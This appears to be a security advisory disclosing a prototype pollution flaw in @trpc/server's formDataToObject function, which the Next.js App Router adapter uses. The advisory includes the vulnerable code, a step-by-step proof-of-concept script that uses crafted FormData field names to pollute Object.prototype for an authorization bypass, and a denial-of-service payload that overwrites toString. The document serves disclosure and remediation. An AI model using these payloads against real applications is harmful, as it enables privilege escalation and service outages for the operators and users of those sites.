Note that this vulnerability is only present when using experimentalcaller / experimentalnextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions

- Package: @trpc/server - Affected Versions: >=10.27.0 - Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

Vulnerability Details

Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like proto, constructor, or prototype.

Vulnerable Code

typescript // packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts function set(obj, path, value) { if (path.length > 1) { const newPath = [...path]; const key = newPath.shift(); // ← No validation of dangerous keys const nextKey = newPath[0];

if (!obj[key]) { // ← Accesses obj["proto"] which returns Object.prototype obj[key] = isNumberString(nextKey) ? [] : {}; } set(obj[key], newPath, value); // ← Recursively pollutes Object.prototype return; } // ... }

export function formDataToObject(formData) { const obj = {}; for (const [key, value] of formData.entries()) { const parts = key.split(/[\.\[\]]/).filter(Boolean); // Splits "proto[isAdmin]" → ["proto", "isAdmin"] set(obj, parts, value); } return obj; }

Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

typescript // packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89 if (normalizeFormData && input instanceof FormData) { input = formDataToObject(input); // ← Vulnerable call }

An attacker can craft FormData with malicious field names:

javascript const formData = new FormData(); formData.append("proto[isAdmin]", "true"); formData.append("proto[role]", "superadmin");

When processed, this pollutes Object.prototype:

javascript {}.isAdmin // → "true" {}.role // → "superadmin"

Proof of Concept

bash Step 1: Create the project directory

mkdir trpc-vuln-poc cd trpc-vuln-poc

Step 2: Initialize npm

npm init -y

Step 3: Install vulnerable tRPC

npm install @trpc/server@11.7.2

Step 4: Create the test file ---

Test.js

javascript const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:"); console.log(" {}.isAdmin =", {}.isAdmin);

const fd = new FormData(); fd.append("proto[isAdmin]", "true"); fd.append("proto[role]", "superadmin"); fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:"); console.log(' proto[isAdmin] = "true"'); console.log(' proto[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()..."); const result = formDataToObject(fd); console.log(" Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:"); console.log(" {}.isAdmin =", {}.isAdmin); console.log(" {}.role =", {}.role);

const user = { id: 1, name: "john" }; console.log("\n[5] Impacto en autorización:"); console.log(" Usuario normal:", JSON.stringify(user)); console.log(" user.isAdmin =", user.isAdmin);

if (user.isAdmin) { console.log("\n VULNERABLE - Authorization bypass exitoso!"); } else { console.log("\n ✓ Seguro"); }

Impact

Authorization Bypass (HIGH)

Many applications check user permissions using property access:

javascript // Vulnerable pattern if (user.isAdmin) { // Grant admin access }

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

javascript formData.append("proto[toString]", "notafunction"); // All subsequent .toString() calls will fail